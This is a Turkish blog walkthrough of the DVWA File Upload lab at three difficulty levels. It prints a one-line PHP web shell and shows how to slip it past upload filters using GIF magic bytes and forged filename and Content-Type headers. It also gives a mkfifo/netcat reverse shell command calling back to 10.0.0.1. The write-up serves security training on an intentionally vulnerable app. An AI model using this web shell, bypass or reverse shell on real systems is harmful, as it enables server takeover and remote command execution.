DVWA-File Upload Çözümleri

Sefa Ozan
6 min readApr 16, 2021

--

Herkese merhaba, DVWA lablarını çözdüğümüz serinin dördüncüsüne hoş geldiniz. Bu yazımda sizlere elimden geldiğince File upload zafiyetinin ne olduğu ve nasıl sömürebileceğiniz göstereceğim.

#KOLAY

Öncelikle basit, masum bir jpg dosyası yükleyerek başlıyoruz.

Hahahhaha, dosyanın sistemde nereye yazıldığı bilgisini görüyoruz. Normalde bu bilgi bize sağlanmaz.

NOT : File upload zafiyetini sömürebilmemiz için yüklediğimiz kötü niyetli dosyayı çalıştırabilmemiz gerekmektedir. Eğer içeride, yüklediğiniz kötü niyetli dosyayı çalıştırabilecek bir tanıdığınız yoksa dosyayı siz çalıştırmak zorundasınız. Dosyayı çalıştırmak için; sistemde dosyanın yüklendiği dizine gitmniz yeterlidir. Bu yüzden yukarıda bize sunulan dosyanın nereye yazıldığı bilgisi çoooook önemlidir.

Yüklediğimiz test.jpg dosyasına erişimimizin olup olmadığını kontrol ediyoruz. Gördüğünüz gibi erişimimiz var.

Madem kendi yüklediğim jpg dosyasına erişip çalıştırabiliyorum. O zaman neden kötü niyetli bir dosya yükleyip ona erişmiyoruz. lol

Basit bir, sistem komutları çalıştıran php dosyası yükleyeceğiz.

<?php system($_GET['cmd']); ?>

  • cmd parametresine gelen sistem komutlarını çalıştırır.

file komutu dosyanın türünü belirtir. Dosyamız hem .php uzantılı hem de içerisinde php kodu içerdiği için normal olarak file komutu dosyamızın php olduğunu anladı.

Dosyamızın içine magic bytes ekleyerek file komutunu kandırabiliyoruz. Aşağıdaki resimde gif için magic bytes’ları görebilirsiniz. Diğer dosya türlerinin de magic bytes’larını buradan inceleyebilirsiniz.

Php kodumuzun başına gif’in karşılığı olan magic-bytes’ı yazıyoruz.

file ile tekrardan dosya türümüzü incelediğimizde dosya türünün GIF Image olduğunu görüyoruz. Aslında o dosyanın içerisinde php kodu var.

Php kodumuzu sisteme yüklüyoruz.

Burp Suite aracılığıyla request’ten dönen response’u inclemek için requestimizi yakalayıp repeater’a yolluyoruz.

Send’e bastığımızda dosyamızın sisteme başarılı bir şekilde yüklendiğini görüyoruz.

Yüklediğimiz dosyayı çalıştırmak için yukarıdaki resimde gördüğümüz dizine gidiyoruz.

Hatırlayalım. Yukarıda yazdığımız php kodu cmd parametresine gelen sistem komutlarını çalıştırıyordu. Biz de php paramateresine whoami komutunu yolluyoruz. Gördüğünüz gibi komutlarımız çalışıyor. RCE elde ettik.

Sayfanın kaynağını ziyaret ettiğinizde daha düzgün bir sayfa ile karşılaşırsınız çünkü sayfada, htmlde kullanılan <br> gibi elementler olmadığından dolayı her şey yan yana yazılacak.

Sistem komutları çalıştırabildiğimize göre sırada Shell almak var. En beğendiğiniz Reverse Shell komutunu seçin. Benimkisi altta bulunan kod çünkü her daim çalışıyor. Buradan bütün reverse-shell komutlarına ulaşabilirsiniz.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Burp Suite ile bir request’i yakalayıp repeater’a gönderiyoruz.

ls yazan kısıma Reverse Shell’imi yazıp URL Encode’luyoruz.

Reverse shell’imizin bize bağlanabilmesi için netcat ile listener oluşturuyoruz.

  • -n : Dns çözümlemesi yapma.
  • -v : Verbose mod.
  • -l : Dinleyici modu.
  • -p : Port

Gördüğünüz gibi shell’imizi başarılı bir şekilde elde ettik.

#ORTA

Tekrardan jpg dosyası yükleyerek işlemlerimize başlıyoruz.

Yüklediğimiz test.jpg dosyasına erişimimizin olup olmadığını kontrol ediyoruz. Gördüğünüz gibi erişimimiz var.

Önceden oluşturduğumuz php dosyamızı sisteme yüklüyoruz.

Gördüğünüz gibi dosyayı sisteme yükleyemedik.

Burp Suite aracılığıyla request’ten dönen response’u inclemek için requestimizi yakalayıp repeater’a yolluyoruz.

Belki dosyanın içerisinde jpeg olmasını bekliyordur diye düşünerek dosyamın adını test.jpeg.php olarak değiştirip send’e basıyoruz.

Ama sonuç yine aynı. Neden jpg dosyasını yüklememize izin verip php dosyasını yüklememize izin vermediğini anlamak için jpg dosyasınının request’ini de yakalıyoruz.

jpg’in request’i
php’nin request’i

Her iki request’i de inclediğimizde Content-Type headerlarının farklı olduğunu görüyoruz. Belki de uygulama dosyayı yükleme konusunda karar verirken Content-Type header’ına da bakıyordur. Php dosyamızın Content-Type header’ını image/jpeg olarak değiştirip send’e basıyoruz.

Başarılı bir şekilde dosyamız sisteme yüklendi. Dosyanın dizinini ziyaret ettiğimizde dosyamıza ulaşabildiğimizi görüyoruz.

Sistem komutlarını da çalıştırabildiğimize göre Sırada shell almak var.

Request’i yakalayıp repeater’a gönderdikten sonra Reverse Shell komutumuzu yapıştırıyoruz.

#ZOR

Tekrardan jpg dosyası yükleyerek maceramıza devam ediyoruz.

php dosyamızı yükleme request’ini Burp Suite ile yakalıyoruz.

Bir önceki örnekte de yaptığımız gibi filename ve Content-Type değerlerini değiştiriyoruz.

Send’e bastığımızda dosyamızın yüklendiğini görüyoruz.

Yüklediğimiz php dosyasına erişip erişemediğimizi kontrol edelim.

Erişebiliyoruz. Şimdi de sistem komutları çalıştırmayı deneyelim.

Başarılı bir şekilde sistem komutları çalıştırabildiğimize göre Shell’imizi alalım.

Bir sonraki yazımda görüşmek üzere …

--

--

Sefa Ozan
Sefa Ozan

No responses yet